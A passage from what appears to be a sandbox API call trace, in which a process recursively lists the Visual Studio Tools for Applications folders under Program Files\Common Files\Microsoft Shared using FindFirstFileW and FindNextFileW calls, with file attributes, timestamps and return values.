ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14b8a29e, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0266.521] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0266.521] GetProcessHeap () returned 0xc10000 [0266.521] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.522] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0266.522] GetProcessHeap () returned 0xc10000 [0266.522] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.523] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppInfoDocument", cAlternateFileName="APPINF~1")) returned 1 [0266.523] GetProcessHeap () returned 0xc10000 [0266.523] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0266.721] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.721] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8744779b, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0x4a0491a3, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x8746da27, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns.store", cAlternateFileName="ADDINS~1.STO")) returned 1 [0266.721] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 1 [0266.721] GetProcessHeap () returned 0xc10000 [0266.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x22090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x22090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0266.724] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.724] GetProcessHeap () returned 0xc10000 [0266.724] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.724] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0266.725] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0266.725] GetProcessHeap () returned 0xc10000 [0266.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.725] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0266.725] GetProcessHeap () returned 0xc10000 [0266.725] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.730] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.730] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInSideAdapters", cAlternateFileName="ADDINS~1")) returned 1 [0266.730] GetProcessHeap () returned 0xc10000 [0266.730] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0266.738] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a402c44, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a9600d2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a402c44, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7bc69e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xd098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a8c7860, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a913c21, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xb098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 1 [0266.739] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a9600d2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 0 [0266.739] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0266.740] GetProcessHeap () returned 0xc10000 [0266.740] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.740] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1 [0266.740] GetProcessHeap () returned 0xc10000 [0266.740] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.743] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.743] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x19058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.743] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a87b3c4, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x8cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.743] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x14af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.743] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x14af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0266.743] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.744] GetProcessHeap () returned 0xc10000 [0266.744] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.744] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1 [0266.744] GetProcessHeap () returned 0xc10000 [0266.744] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.751] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.751] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a107d7a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.751] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a12df59, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x7690, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.752] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6680, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0266.752] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1a078a, ftLastAccessTime.dwHighDateTime=0x1d327e9, 